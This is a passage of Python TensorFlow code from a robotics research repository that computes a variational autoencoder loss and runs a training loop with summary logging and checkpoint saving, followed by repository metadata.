x_hat = tf.add(tf.matmul(hidden_decoder, W_decoder_hidden_reconstruction), b_decoder_hidden_reconstruction, name="x_hat") BCE = tf.reduce_sum(tf.nn.sigmoid_cross_entropy_with_logits(logits=x_hat, labels=x_flat), reduction_indices=1) loss = tf.reduce_mean(BCE + KLD) regularized_loss = loss + lam * l2_loss loss_sum = tf.summary.scalar("lowerbound", loss) train_step = tf.train.AdamOptimizer(0.001).minimize(regularized_loss) # add op for merging summary summary_op = tf.summary.merge_all() # add Saver ops saver = tf.train.Saver() n_steps = int(1e6) batch_size = 100 datadir = os.path.join("data", "logs", strftime("%m-%d_%H-%M")) modeldir = os.path.join("data", "models", strftime("%m-%d_%H-%M")) modelpath = os.path.join(modeldir, "model") train_writer = tf.summary.FileWriter(os.path.join(datadir, "train")) test_writer = tf.summary.FileWriter(os.path.join(datadir, "test")) saver = tf.train.Saver() min_loss_test = float("inf") with tf.Session() as sess: summary_writer = tf.summary.FileWriter('experiment', graph=sess.graph) if os.path.isfile("save/model.ckpt"): print("Restoring saved parameters") saver.restore(sess, "save/model.ckpt") else: print("Initializing parameters") sess.run(tf.global_variables_initializer()) for step in range(1000): x_train, _, _, _, _ = next(train_batch) _, loss_train, summary_train = sess.run([train_step, loss, summary_op], feed_dict={x: x_train}) loss_test, summary_test = sess.run([loss, summary_op], feed_dict={x: x_test}) if step % 100 == 0: train_writer.add_summary(summary_train, step) test_writer.add_summary(summary_test, step) if loss_test < min_loss_test: min_loss_test = loss_test save_path = saver.save(sess, modelpath, global_step=step) print("Step {0} | Loss: {1}, {2}".format(step, loss_train, loss_test)) train_writer.close() test_writer.close()
e874098491ca1b087d6ea1cf40fc44c984f851d8
[ "CMake", "Python", "Text", "C++", "Shell" ]
20
Python
tmigimatsu/robotic-priors
d194d4bbaf2d52fbf4acb1345fbc62b5aef5701d
a7a946e33809589cd6a5c3eab605c807e6c87ecf